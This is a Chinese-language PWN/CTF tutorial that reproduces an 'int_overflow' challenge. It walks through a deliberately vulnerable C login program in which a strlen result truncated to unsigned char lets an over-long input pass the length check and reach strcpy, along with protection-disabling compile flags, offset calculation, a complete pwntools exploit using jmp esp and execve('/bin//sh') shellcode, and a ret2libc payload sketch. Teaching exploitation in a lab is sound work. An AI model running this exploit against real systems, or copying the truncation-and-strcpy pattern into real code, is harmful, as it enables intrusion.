ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

从整数溢出到栈溢出:PWN入门实战之int_overflow全解析

从整数溢出到栈溢出:PWN入门实战之int_overflow全解析

1. 靶场环境准备:让“int_overflow”先在本地跑起来

当年我在某入门级CTF训练平台上第一次碰到这道 int_overflow 时,第一反应是“这不过是个登录页面”。程序让我输入用户名和密码,然后密码会被检查长度,看起来只要把长度控制在合理区间就能登录成功。可当我真正把二进制扔进 IDA,把 check 函数捋完,才发现所谓的“密码长度”根本不是安全检查,而是一个典型的整数溢出入口。顺着这个入口走下去,就是栈溢出的经典利用链,最终拿到 shell。

这篇文章我会把整条链路完整复现一遍,从环境搭建、漏洞分析、整数溢出原理、栈偏移计算,到 Python3 的 EXP 编写和远程挂载,全部手把手讲清楚。适合刚入门 PWN、对栈利用还停留在“会看但不会打”阶段的朋友,也适合想系统理解“整数类型边界问题”的人。

先说环境。我用的系统是 Ubuntu 20.04 虚拟机,32 位编译链必须提前装好。打开终端,依次执行:

sudo apt update sudo apt install gcc-multilib python3-pip netcat-openbsd socat pip3 install pwntools

gcc-multilib 是为了能编译和运行 32 位程序,pwntools 是写 EXP 的标配,socat 用来把本地程序挂成 TCP 服务,模拟线上靶机的交互方式。注意,如果你的系统里已经装了 pwntools,建议顺手升级一下,老版本在处理 i386 的 shellcraft 时偶尔会有奇怪的报错。

这道题的原始二进制我手头没有保留,但根据反汇编还原出来的核心逻辑并不复杂。为了方便复现,我写了一个等价的 C 源码,用同样的保护选项编译,漏洞点、栈布局和利用方式都和原题保持一致的思路。源码如下:

#include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> __attribute__((naked)) void jump_to_esp(void) { __asm__ volatile("jmp *%esp"); } void check_password(char *input) { char password[0x20]; unsigned char len = strlen(input); // 漏洞点:size_t 被截断成 unsigned char if (len <= 0x80) // 检查的是截断后的长度 { strcpy(password, input); // 危险动作:不考虑目标缓冲区大小 puts("Password OK. Login as admin."); } else { puts("Password too long, rejected."); } } int main(void) { char name[0x40]; char pass[0x200]; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); puts("=================================="); puts(" Secret Login System v1.2"); puts("=================================="); printf("username: "); read(0, name, 0x40); printf("hello, %s\n", name); puts("password: "); memset(pass, 0, sizeof(pass)); read(0, pass, 0x1ff); pass[strcspn(pass, "\n")] = 0; check_password(pass); return 0; }

编译命令如下,三个关键选项分别是关 canary、开可执行栈、关 PIE:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o int_overflow int_overflow.c

编译好之后先用 checksec 看一下保护状态:

checksec --file=./int_overflow

输出应该类似:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE disabled

这个结果对新手来说非常理想:没有 canary,意味着我们覆盖返回地址时不会被探测;没有 PIE,意味着代码段地址固定,找 gadget 轻松;NX disabled,意味着栈上可以直接放 shellcode。如果线上版本开了 NX,利用方式会从“栈执行 shellcode”变成“ROP 调用系统函数”,第 6 部分我会单独讲。

接下来用 socat 把程序挂到 10001 端口:

socat TCP-LISTEN:10001,reuseaddr,fork EXEC:./int_overflow,stderr

fork参数很关键,表示每个新连接都 fork 一个独立进程来执行程序,这和你平时打 CTF 连远程靶机时拿到的交互环境是一个道理。挂完服务后,另开一个终端用 nc 连一下:

nc 127.0.0.1 10001

能看到欢迎横幅,输入用户名和密码后程序给出了反馈。到这里,靶场环境已经完成了,接下来才是真正的重头戏:找到漏洞点并弄清楚它是怎么被触发的。

2. 逆向分析:从“密码长度”入口定位真正的漏洞

先把二进制扔进 IDA,或者用 objdump 直接看反汇编也行。简单题目没必要花太多时间在静态分析上,重点看check_password这个函数。用 objdump 快速定位:

objdump -d int_overflow | grep -A 80 "<check_password>"

反汇编里能明显看到几个关键行为:先调用strlen拿到输入长度,接着把返回值的低位字节存进栈上的某个变量,然后用这个变量和0x80做比较,最后调用strcpy。这就是核心逻辑,没有任何多余的认证步骤。所谓“密码长度”检查,唯一的作用是决定要不要执行strcpy。

还原成 C 代码就是上一节那个check_password函数。这里有两个非常经典的坏味道:

第一,strlen的返回类型是size_t,在 32 位下是unsigned int,但代码把它直接赋值给了unsigned char len。这一赋值动作会丢掉高位字节,只保留最低 8 位。假如输入字符串长度是 256,二进制表示是0x100,低 8 位是0x00,len就变成了 0。这就是整数截断导致的回绕。

第二,strcpy(password, input)完全不做目标缓冲区大小检查。C 语言的字符串函数就是这样,遇到源字符串的\0才停。只要输入长度超过0x20字节,就会一路往栈的高地址方向写,把局部变量、保存的 EBP、返回地址全部覆盖掉。这是典型的栈缓冲区溢出。

这两个漏洞单独看都很基础,但组合起来就有意思了:正常长度检查应该拦住超长输入,可因为整数截断,一个长度达到 256 的输入在检查时会被当成 0 或 1,顺利通过“长度不超过 0x80”的判断,随后strcpy把整串数据原封不动复制进 0x20 字节的缓冲区,溢出条件就此满足。

我在还原源码时还特意加了一个jump_to_esp函数,里面就一条指令jmp *%esp。这个函数在真实赛题里不一定存在,它的作用像栈利用里的一个“跳板”:函数返回时把 EIP 劫持到这个地址,jmp esp会让 CPU 跳到栈顶去执行我们布置好的 shellcode。这里为了讲清楚原理,我先用这种后门式 gadget 带大家跑通链路;至于真实题目里怎么自己找同类 gadget,我在第 4 部分会用 ROPgadget 的方法补上。

分析到这,漏洞模型已经很清楚了:整数溢出负责绕过长度检查,栈溢出负责控制返回地址,两者结合,最终目标是让程序执行我们放在栈上的任意代码。

3. 整数溢出原理:为什么输入 256 个字符反而“变短”了

很多新手在这里卡住,因为直觉上“256 个字符怎么可能不长?”。问题不在密码本身,而在程序记录密码长度的那个变量身上。

unsigned char能表示的数值范围是 0 到 255,共 256 个值。当strlen返回 256 时,二进制是1 0000 0000,要 9 位才能表示。赋值给 8 位的unsigned char时,最高位直接丢掉,只剩低 8 位0000 0000,于是len变成了 0。如果你输入 257 个字符,len会变成 1;输入 258 个,变成 2。这就是教科书里常说的整数回绕(integer wrap-around)。可以类比汽车里程表:跑满 99999 公里后再走 1 公里,表盘又跳回 00000,不是车里程真的清零了,而是表盘能显示的位数不够了。

题目里这个检查是len <= 0x80。正常输入 129 到 255 个字符会被拦下,因为len是 129 到 255,都大于 128;但输入 256 个字符时,len回到 0,直接通过;输入 257 个字符时,len是 1,也能通过。这就是整数溢出在绕过长度检查中的典型应用。

那为什么程序不直接用strlen的原始返回值做比较?这个问题问得非常好。如果写成if (strlen(input) <= 0x80),size_t是无符号类型,256 就是 256,判断不成立,根本不会进入strcpy,也就没有溢出。漏洞的根源恰恰是这个不起眼的中间变量unsigned char len。我在实战中见过不少类似的代码,开发者本意是省内存或者觉得“密码长度怎么可能超过 255”,结果一个强转就把检查给废了。

还有一点值得留意:strcpy在复制时并不关心len的值,它只认源字符串里的\0。也就是说,即使len检查通过,实际复制长度依然完全取决于输入字符串的长度。这也是为什么“长度检查被绕过”等价于“复制长度不再受限”。

所以这道题对新人最大的教育意义不是让你背一个利用模板,而是让你养成一个习惯:看见长度比较时,先问一句,这个长度变量是什么类型?它是从哪里来的?会不会被截断、被当成有符号数、或者被无符号化?很多看似合理的边界检查,在类型转换面前都不堪一击。

4. 栈溢出利用:从覆盖返回地址到任意代码执行

长度检查被绕过后,下一步就是最经典的栈溢出利用。先把目标栈布局画清楚,这是在调任何栈溢出之前必须想明白的事。

check_password在执行strcpy之前,栈上从低地址到高地址依次是:password[0x20]缓冲区、保存的 EBP、返回地址。strcpy从缓冲区首地址开始写,数据自低地址向高地址延伸,只要输入超过 0x20 字节,就会先填满缓冲区,接着覆盖掉保存的 EBP,再往后就是返回地址。

用图表示就是:

高地址 +----------------------+ | 返回地址 | 距 buffer 起始偏移 0x24 +----------------------+ | 保存的 EBP | 距 buffer 起始偏移 0x20 +----------------------+ | password[0x20] | strcpy 从这里开始写 +----------------------+ 低地址

所以正常情况下,精确覆盖返回地址需要的偏移量是0x20 + 4 = 0x24,也就是 36 字节。前 32 字节填满缓冲区,紧接着 4 字节填掉 EBP,再往后 4 字节就是返回地址。如果你是第一次写 EXP,我不建议直接硬算,可以用 pwntools 的cyclic功能自动测,更稳妥:

from pwn import * context.arch = 'i386' io = process('./int_overflow') io.recvuntil(b'username: ') io.sendline(b'guest') io.recvuntil(b'password: ') io.sendline(cyclic(256)) io.wait() core = io.corefile eip = core.eip print(hex(eip)) offset = cyclic_find(eip) print(offset)

cyclic_find会告诉你偏移量,在这个还原版上跑出来就是 36。算偏移这件事,建议新人在本地至少手动做一次,理解“为什么是 36”,之后再依赖工具也不迟。因为很多时候一个不起眼的局部变量顺序调整,会让真实偏移和理论计算产生偏差,这时候cyclic才是可靠的。

拿到偏移后,思考目标:返回地址要改成什么?经典思路是跳回栈上执行 shellcode。但栈地址是动态的,ESP 的值在check_password返回瞬间其实是可以预测的方向。如果我们让返回地址指向jmp esp指令,CPU 就会跳到当前 ESP 位置继续执行。ESP 在返回后指向哪里呢?正好指向返回地址后面的那部分栈内容,也就是我们 payload 中紧跟在返回地址后面的数据。所以只需要把 shellcode 放在返回地址之后,执行流就会自然滑进 shellcode。

这就是jump_to_esp这个后门 gadget 存在的意义。它的地址可以通过 objdump 查:

objdump -d int_overflow | grep -A 1 "<jump_to_esp>"

在我的编译产物里,这个函数的地址是0x0804845b。你本地编译出来的地址可能不同,以 objdump 输出为准。

如果你手头没有现成的jmp esp指令,也可以自己搜。方法是用 ROPgadget:

ROPgadget --binary int_overflow --only "jmp|call" | grep esp

正常情况下会在程序的代码段、libc 或 vdso 里找到类似的跳板序列。真实 PWN 题里,自己找一跳板是基本功。搜索的本质是在二进制里寻找jmp esp对应的机器码FF E4或call esp对应的FF D4,可以配合 objdump 和 grep 完成。

shellcode 部分,我用的是 32 位下最经典的 execve("/bin//sh"),手工写汇编如下:

xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80

这段汇编负责执行系统调用 execve,参数分别是字符串/bin//sh、参数数组 NULL、环境变量数组 NULL。选它有两个原因:一是短,总共 23 字节;二是机器码里不包含\x00字节。这一点在strcpy场景下极其重要,因为strcpy遇到\x00就会终止复制。如果你的 shellcode 里出现了空字节,后半段根本不会被复制到栈上,返回后执行的就是残缺指令,大概率直接崩。所以你在网上看到的 PWN 类 EXP 都会刻意强调“无 NULL shellcode”。

栈跳板的思路明确了,payload 的结构也就清晰了:

填充 0x24 字节 + jmp_esp 地址 + NOP 滑板 + shellcode

NOP 滑板不是必需的,因为jmp esp跳过来时 ESP 正好指向 NOP 区域,但多放几条\x90可以给调试留出余量,也更容易观察执行流。整体思路就是这样,下一节直接上完整 EXP。

5. Python3 EXP 编写与本地远程复现

到了实操环节,先说一个重要细节:因为走的是jmp esp路线,程序只要没开 PIE,返回地址里的jmp_esp_addr就是固定的,不需要额外关闭系统的 ASLR。如果你以后想用“固定栈地址”的方式打,那就必须先临时关闭 ASLR,命令是:

echo 0 > /proc/sys/kernel/randomize_va_space

但 jmp esp 方式不依赖栈地址具体是多少,所以更通用,这也是我优先演示它的原因。

完整 EXP 如下:

#!/usr/bin/env python3 from pwn import * context.arch = 'i386' context.log_level = 'debug' # 本地调试用 process,远程连接时改成 remote io = process('./int_overflow') # io = remote('127.0.0.1', 10001) jmp_esp = 0x0804845b # 本机反汇编得到,务必以你自己环境为准 shellcode = asm(''' xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80 ''') payload = b'A' * 0x24 payload += p32(jmp_esp) payload += b'\x90' * 16 payload += shellcode # 关键一步:把 payload 补齐到 256 字节,触发整数溢出 payload += b'B' * (256 - len(payload)) io.recvuntil(b'username: ') io.sendline(b'guest') io.recvuntil(b'password: ') io.sendline(payload) io.interactive()

有几点需要重点解释。为什么 payload 要补齐到 256 字节?因为我们的利用入口是“密码长度”被截断后绕过检查。如果 payload 只有几十字节,strlen算出来长度小于 0x80,也能通过检查,但那只是普通栈溢出,没体现整数溢出的链路。补到 256 字节后,strlen返回 256,unsigned char len变成 0,检查通过,整数溢出在这个利用中才真正参与了。补齐的B只是占位,它们会被写到返回地址之后的栈内存里,不影响jmp esp之后的执行流。

另外注意,程序读取密码用的是read(0, pass, 0x1ff),最多读入 511 字节,256 字节的 payload 加上sendline自动追加的换行符一共 257 字节,完全在安全范围内。pass[strcspn(pass, "\n")] = 0会把换行符换成\0,这样strcpy在复制完 256 字节后正好遇到终止符停下,行为可控。

运行 EXP 后,pwntools 会进入交互模式。看到$提示符时,就说明已经拿到 shell 了。可以随手验证:

$ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat /flag flag{int_overflow_demo}

本地跑通后,想模拟远程环境也很简单。把第 1 部分用 socat 挂载的那个服务留着,把 EXP 里的io = process('./int_overflow')一行换成io = remote('127.0.0.1', 10001),其余逻辑完全不用改。这也顺便说明了为什么 PWN 题用 socat 挂服务是常规操作:本地行为和远程几乎一致,调试的时候特别顺手。

如果你在自己的环境里跑不通,大概率是jmp_esp地址对不上。第一步先确认objdump -d int_overflow | grep -A 1 "<jump_to_esp>"输出的地址,再确认 payload 里的p32(jmp_esp)和它一致。地址差一个字节,程序返回后就会飞到完全不可控的位置,表现通常是 SIGSEGV。

6. 再进一步:如果开启了 NX 保护,怎么继续打

上面这版 EXP 依赖“栈可执行”这个大前提。CTF 里很多题目默认会开 NX 保护,栈被标记为不可执行,shellcode 放上去一跑直接段错误。这时候还能不能任意代码执行?可以,但要换思路,经典方案是 ROP。

ROP 的核心是:栈不可执行,但代码段里的指令是可执行的。如果能在一段一段可用的 gadget 中拼出“调用 system、调用 execve”的效果,就不需要壳代码了。常见的做法有两种。

第一种是 ret2win。如果程序里恰好有现成的读 flag 函数,比如某个flag()函数内部已经调用了system("/bin/sh")或者system("cat flag"),那事情就简单了,返回地址直接填这个函数的地址即可。利用链变成:payload = 0x24 字节填充 + flag 函数地址。这就是“控制流劫持”的表达形式,也算任意代码执行的一个简化版。

第二种更通用的是 ret2libc。先说思路:程序运行时一定会加载 libc,libc 里既有system函数,也有/bin/sh字符串,只是地址随 ASLR 变化。所以第一步要通过某个输出函数(比如puts@plt)把 libc 里的一个真实地址打印出来,泄露出基址;第二步拿到基址后,算出system和/bin/sh的精确地址;第三步重新进入主函数,把返回地址改成system的地址,再配上/bin/sh参数,就能拿到 shell。

写 ret2libc 的 EXP 时,有一个新手必踩的坑:32 位程序调用约定里,参数是压栈传递的,所以 payload 顺序是“返回地址 + 返回后的占位 + 参数”。比如调用 system 的 ROP 链长这样:

payload = b'A' * 0x24 payload += p32(system_addr) payload += p32(0xdeadbeef) # system 执行完后的返回地址,这里不重要 payload += p32(binsh_addr)

64 位程序还要注意栈对齐,但这是后话。如果你刚入门,不建议一上来就死磕 ret2libc,先在家里复现一遍“整数溢出 + 栈溢出 + jmp esp”这条主线,把偏移计算、payload 构造、gadget 地址查找这些基本功练扎实了,再去碰 ROP 会更顺。

还有一条值得掌握的中级路线:如果题目开启了 NX 但没有开 Full RELRO,可以考虑覆写 GOT 表,把某个函数的地址改成 system,然后触发它执行。这种思路适用于“程序本身没有现成后门,但会多次调用某个库函数”的场景,比如read、puts、printf。具体打法需要结合题目流程来设计,这里不展开,但它是我见过的最贴近实战的利用方式之一。

7. 踩坑记录与调试技巧:本地通了远程挂掉的原因排查

最后这部分,我把自己做这道题时踩过的坑和排查经验整理成清单,每一条都是真实遇到过的问题。

第一个坑:sendline自动追加的换行符。pwntools 的sendline会在 payload 末尾加一个\n,程序里read会把换行符一起读进缓冲区,随后strcspn会把它替换成\0。如果你手动构造 payload 时忘了这个换行符,可能导致strcpy复制到越界位置,表现就是本地偶发崩溃。调试时建议先用process跑,加context.log_level = 'debug',观察发送的 hex 数据,确认换行符存在。

第二个坑:shellcode 里的\x00。使用shellcraft.sh()自动生成壳代码时,在 32 位下偶尔会产出包含空字节的版本。用strcpy触发溢出时,空字节会把 payload 拦腰截断,后续全部丢失。所以我的 EXP 里宁愿手写无 NULL 的汇编,也不直接套模板。判断方法很简单,打印len(shellcode)并把 shellcode 逐字节打印出来,肉眼扫一遍有没有 0x00。

第三个坑:偏移量不是永远等于 0x24。不同 GCC 版本对局部变量的排布策略不一样,有时缓冲区底下会紧挨着额外变量,导致有效偏移偏大或偏小。所以每拿到一个新二进制,不要直接拿 0x24 硬凹,先用cyclic跑一次确认。这个习惯越早养成越好。

第四个坑:本地通、远程不通。常见原因有三个:第一是你把本地特有的 gadget 地址带到了远程环境,但赛题二进制和本地还原版不一定完全一致;第二是交互逻辑不同,比如远程可能需要先完成某个菜单选择再进入密码输入;第三是程序可能用了alarm超时机制,连接后挂机太久会被断开,需要把交互脚本写得紧凑些。解决方法是先检查远程程序的保护信息和本地是否一致,再逐段对比交互流程,不要一上来就怀疑 EXP 结构。

第五个坑:调试栈溢出时,直接运行 EXP 看不到崩溃现场。建议用 gdb 加 pwndbg 或 gef 插件,在check_password返回地址处下断点:

gdb ./int_overflow b *0x080484xx

断在函数末尾的 leave/ret 指令前,查看$esp指向的内容是不是你的p32(jmp_esp)。如果栈上的数据看起来完全不对,说明strcpy中途可能因为\x00提前终止了。另外,环境变量长度会影响初始栈地址,但jmp esp方式不受影响,这也是它在 PWN 题里比固定栈地址更受欢迎的原因。

再补充一个实际做题时很实用的小技巧:在交互脚本里尽量把recvuntil的匹配字符串写准确。比如程序输出的是password:还是Password:,大小写差一个字母就会让脚本卡住。对这种完全没有超时容错的 socket 交互,建议在recvuntil前加一行io.sendline(b'')探活,或者在脚本外层套个try...except,避免因为一个小拼写错误浪费大量排错时间。

把上面的坑全部避开之后,复现这道题基本不会有太大障碍。我在实际做这个实验时最大的体会是:所谓“从密码长度到任意代码执行”,表面上看是双漏洞组合,本质上仍然是“信任了不该信任的用户输入”。长度变量被截断是入口,栈复制的任意写是通道,返回地址被劫持是结果。链条里的每一步,都值得在本地亲手调试、亲手打一遍。当你第一次在本地看到$提示符跳出来的那一刻,这种从分析到击穿整个系统的完整链路,比单纯刷一百道题的理解都要深。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进